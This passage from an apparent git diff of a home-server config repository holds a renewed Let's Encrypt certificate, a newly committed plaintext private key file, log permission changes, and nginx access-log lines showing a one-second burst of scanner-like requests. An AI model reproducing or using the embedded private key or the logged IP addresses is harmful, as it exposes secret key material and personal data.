+0U5UqGBTws+0L7eiMCXKLslfDwV/F+AxSFNPQbPkbauz+/yAiACNnSkfnldPFhM5 +qO1dYDPmGLGjggVIMIIFRDAOBgNVHQ8BAf8EBAMCB4AwHQYDVR0lBBYwFAYIKwYB +BQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFLO9BWealFLA +NSzyUWckwZqdKH4NMB8GA1UdIwQYMBaAFBQusxe3WFbLrlAJQOYfr52LFMLGMFUG CCsGAQUFBwEBBEkwRzAhBggrBgEFBQcwAYYVaHR0cDovL3IzLm8ubGVuY3Iub3Jn MCIGCCsGAQUFBzAChhZodHRwOi8vcjMuaS5sZW5jci5vcmcvMIIDTwYDVR0RBIID RjCCA0KCEmFuaW1lLmZhaXl0cy5tZWRpYYIQYXBpLmZhaXl0cy5tZWRpYYISYmxv @@ -31,19 +26,19 @@ ZmFpeXRzLm1lZGlhghV0ZXJyYXJpYS5mYWl5dHMubWVkaWGCFHRvcnJlbnQuZmFp eXRzLm1lZGlhghZ0cmFuc2NvZGUuZmFpeXRzLm1lZGlhghF0dWJlLmZhaXl0cy5t ZWRpYYIPdHYuZmFpeXRzLm1lZGlhghN1c2VuZXQuZmFpeXRzLm1lZGlhghB2cG4u ZmFpeXRzLm1lZGlhghN3YXJkZW4uZmFpeXRzLm1lZGlhghJ3YXRjaC5mYWl5dHMu -bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEC -BgorBgEEAdZ5AgQCBIHzBIHwAO4AdQA/F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvB -vyiF7PhkbgAAAY/GMruvAAAEAwBGMEQCICb0Ugb7RKsL9PPpSwNA9wS9nWWQ5oqY -3VBwpFclfDbIAiBFIxWBwCE0UfBi0BlYKHiPDy7TiS5Oro9llYERqkO0lQB1AO7N -0GTV2xrOxVy3nbTNE6Iyh0Z8vOzew1FIWUZxH7WbAAABj8Yyu58AAAQDAEYwRAIg -IcLBLhcim1W64bVwNuJq9i1Yp73ptVwW0043P2t+RvYCIGuV9mZF7x8Mk+jS7mm7 -G9IMzY2gpKxmd8lJ2JhWoCpWMA0GCSqGSIb3DQEBCwUAA4IBAQAxeywNaC75DkS/ -BLEKbX0dah+qjgG71ykLVy2ZK9vCSmYvOw1NNfT+lhcAjf1OR8x8e6V4FgMsJo3I -yEPrKMNQK78EKX9j0xzdt/2CDcoFNrIRe7kMVrM4ThjbmhQcGoPE87OzRJRkI6W0 -4+QuXzYHHhZZoV6mexBwR5TUhfkPlqKWpxNGaMOVn7vDPl/QLhnEP25aOAkGnjIc -cR4s+EnlR2IH+738WimbPdWlgPQUGHSwLg5NHEkBeeEdxV0Ok1IePA8h98EbsIet -/xjqVwDwyqXRF59o3k3+3nH0ojVOY7pEDYyxXa6RSocbw6wHOUIlqSZHR0ZzNYR7 -3ryLI78m +bWVkaWGCEHd3dy5mYWl5dHMubWVkaWEwEwYDVR0gBAwwCjAIBgZngQwBAgEwggEE +BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgDf4VbrqgWvtZwPhnGNqMAyTq5W2W6n9aVq +AdHBO75SXAAAAY/VFoCKAAAEAwBHMEUCIBnxeMswF2k+6SY4AGn91bAwt/5fUzcV +cIS890B629AHAiEAlTBEQ8wMmUjdKCi3Br31NqrfRuSefxPhnW8nAPG/5EEAdgA/ +F0tP1yJHWJQdZRyEvg0S7ZA3fx+FauvBvyiF7PhkbgAAAY/VFoeeAAAEAwBHMEUC +IQDXFaN/bRHs1iklBZPh8JIeo2KlH3qwZXW1sdsWY6g9pgIgcro17/yZwLhWkIlz +cTuwwwHUntnvyp8AfP4Vr2gLAtswDQYJKoZIhvcNAQELBQADggEBACVqu7kZnZp1 +QFtRbhHSpU5gxCT5WRbgZsrLjZqVAzgOoJFvTTYvwWSCbYe6a33ieU/H9tacphnU +phWybA8sgHNvjqa4B1u9igXJSJcVt8fMKtXVIlNL7P/PIEbOfo3dWsaeIl0oIlN9 +JgSXMMU2BaMpgckXDBbDsN4hNBQCuWjHPRZ0aOEUZszA6HT8tET3s6JHvQ82nDlx +7X9mSr0822X0xAlXz/MvC3oZMOVOQlKrwMcYY2976xWkKpgmJCVFvWQQOZoGQl1F +YyZdXd/wYqzAbb3iqCNiuDrlYa4Oa+UeuzvM4fLAcg5m3QcmRdM2pLCAJ0xRrytD +27xtrdqbfIQ= -----END CERTIFICATE----- -----BEGIN CERTIFICATE----- MIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw diff --git a/keys/letsencrypt/privkey.pem b/keys/letsencrypt/privkey.pem new file mode 100644 index 0000000..b2caefc --- /dev/null +++ b/keys/letsencrypt/privkey.pem @@ -0,0 +1,5 @@ +-----BEGIN PRIVATE KEY----- +MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgFdNVDMVHpf/mJk5H +WwYLr46VVDI+gjmcQPhzY/r4MrahRANCAATJMGs0y5TiT9FOVKhgU8LPtC+3ojAl +yi7JXw8FfxfgMUhTT0Gz5G2rs/v8gIgAjZ0pH55XTxYTOajtXWAz5hix +-----END PRIVATE KEY----- diff --git a/log/fail2ban/fail2ban.log b/log/fail2ban/fail2ban.log old mode 100755 new mode 100644 index 956abb2..edf5893 Binary files a/log/fail2ban/fail2ban.log and b/log/fail2ban/fail2ban.log differ diff --git a/log/fail2ban/fail2ban.log.1 b/log/fail2ban/fail2ban.log.1 old mode 100755 new mode 100644 diff --git a/log/fail2ban/fail2ban.log.2.gz b/log/fail2ban/fail2ban.log.2.gz old mode 100755 new mode 100644 diff --git a/log/fail2ban/fail2ban.log.3.gz b/log/fail2ban/fail2ban.log.3.gz old mode 100755 new mode 100644 diff --git a/log/fail2ban/fail2ban.log.4.gz b/log/fail2ban/fail2ban.log.4.gz old mode 100755 new mode 100644 diff --git a/log/fail2ban/fail2ban.log.5.gz b/log/fail2ban/fail2ban.log.5.gz old mode 100755 new mode 100644 diff --git a/log/fail2ban/fail2ban.log.6.gz b/log/fail2ban/fail2ban.log.6.gz old mode 100755 new mode 100644 diff --git a/log/fail2ban/fail2ban.log.7.gz b/log/fail2ban/fail2ban.log.7.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log b/log/letsencrypt/letsencrypt.log old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.1 b/log/letsencrypt/letsencrypt.log.1 old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.10.gz b/log/letsencrypt/letsencrypt.log.10.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.11.gz b/log/letsencrypt/letsencrypt.log.11.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.12.gz b/log/letsencrypt/letsencrypt.log.12.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.13.gz b/log/letsencrypt/letsencrypt.log.13.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.14.gz b/log/letsencrypt/letsencrypt.log.14.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.15.gz b/log/letsencrypt/letsencrypt.log.15.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.16.gz b/log/letsencrypt/letsencrypt.log.16.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.17.gz b/log/letsencrypt/letsencrypt.log.17.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.18.gz b/log/letsencrypt/letsencrypt.log.18.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.19.gz b/log/letsencrypt/letsencrypt.log.19.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.2.gz b/log/letsencrypt/letsencrypt.log.2.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.20.gz b/log/letsencrypt/letsencrypt.log.20.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.21.gz b/log/letsencrypt/letsencrypt.log.21.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.22.gz b/log/letsencrypt/letsencrypt.log.22.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.23.gz b/log/letsencrypt/letsencrypt.log.23.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.24.gz b/log/letsencrypt/letsencrypt.log.24.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.25.gz b/log/letsencrypt/letsencrypt.log.25.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.26.gz b/log/letsencrypt/letsencrypt.log.26.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.27.gz b/log/letsencrypt/letsencrypt.log.27.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.28.gz b/log/letsencrypt/letsencrypt.log.28.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.29.gz b/log/letsencrypt/letsencrypt.log.29.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.3.gz b/log/letsencrypt/letsencrypt.log.3.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.30.gz b/log/letsencrypt/letsencrypt.log.30.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.31.gz b/log/letsencrypt/letsencrypt.log.31.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.32.gz b/log/letsencrypt/letsencrypt.log.32.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.33.gz b/log/letsencrypt/letsencrypt.log.33.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.34.gz b/log/letsencrypt/letsencrypt.log.34.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.35.gz b/log/letsencrypt/letsencrypt.log.35.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.36.gz b/log/letsencrypt/letsencrypt.log.36.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.37.gz b/log/letsencrypt/letsencrypt.log.37.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.38.gz b/log/letsencrypt/letsencrypt.log.38.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.39.gz b/log/letsencrypt/letsencrypt.log.39.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.4.gz b/log/letsencrypt/letsencrypt.log.4.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.40.gz b/log/letsencrypt/letsencrypt.log.40.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.41.gz b/log/letsencrypt/letsencrypt.log.41.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.42.gz b/log/letsencrypt/letsencrypt.log.42.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.43.gz b/log/letsencrypt/letsencrypt.log.43.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.44.gz b/log/letsencrypt/letsencrypt.log.44.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.45.gz b/log/letsencrypt/letsencrypt.log.45.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.46.gz b/log/letsencrypt/letsencrypt.log.46.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.47.gz b/log/letsencrypt/letsencrypt.log.47.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.48.gz b/log/letsencrypt/letsencrypt.log.48.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.49.gz b/log/letsencrypt/letsencrypt.log.49.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.5.gz b/log/letsencrypt/letsencrypt.log.5.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.50.gz b/log/letsencrypt/letsencrypt.log.50.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.51.gz b/log/letsencrypt/letsencrypt.log.51.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.52.gz b/log/letsencrypt/letsencrypt.log.52.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.6.gz b/log/letsencrypt/letsencrypt.log.6.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.7.gz b/log/letsencrypt/letsencrypt.log.7.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.8.gz b/log/letsencrypt/letsencrypt.log.8.gz old mode 100755 new mode 100644 diff --git a/log/letsencrypt/letsencrypt.log.9.gz b/log/letsencrypt/letsencrypt.log.9.gz old mode 100755 new mode 100644 diff --git a/log/nginx/access.log b/log/nginx/access.log old mode 100755 new mode 100644 index e232e57..2f3aa7d --- a/log/nginx/access.log +++ b/log/nginx/access.log @@ -162257,3 +162257,1388 @@ 192.168.0.105 - - [31/May/2024:20:51:32 -0500] "GET /web/ HTTP/1.1" 200 8893 "-" "Uptime-Kuma/1.23.13" 72.179.167.199 - - [31/May/2024:20:51:35 -0500] "GET / HTTP/1.1" 302 0 "-" "Uptime-Kuma/1.23.13" 72.179.167.199 - - [31/May/2024:20:51:35 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Uptime-Kuma/1.23.13" +104.164.173.10 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.34 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.195 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.115 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.178 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.84 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.60 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.114 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.39 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.22 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.165 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.141 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.42 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.163 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.239 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.51 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.48 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.23 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.220 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.192 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.63 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.15 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.142 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.54 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 986 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.159 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1564 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.153 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.220 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.214 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.37 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.169 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.187 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.48 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.68 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.163 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 401 61 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.122 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.84 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3219 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.114 - - [01/Jun/2024:13:36:22 -0500] "GET /login?next=%2F HTTP/1.1" 200 4238 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.63 - - [01/Jun/2024:13:36:22 -0500] "GET /web/index.html HTTP/1.1" 200 14906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.220 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 3220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.153 - - [01/Jun/2024:13:36:22 -0500] "GET /web/ HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +104.164.173.19 - - [01/Jun/2024:13:36:22 -0500] "GET /web/ HTTP/1.1" 200 2062 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.33 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.73 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.112 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.154 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.106 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.183 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.81 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.145 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.130 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.98 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.184 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.117 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.83 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.154 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.33 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.242 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.121 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +104.164.173.163 - - [01/Jun/2024:13:36:22 -0500] "GET /login?returnUrl=%2F HTTP/1.1" 200 7631 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.21 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 401 574 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.127 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 302 217 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" +154.28.229.142 - - [01/Jun/2024:13:36:22 -0500] "GET / HTTP/1.1" 200 8751 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" +154.28.229.28 - - 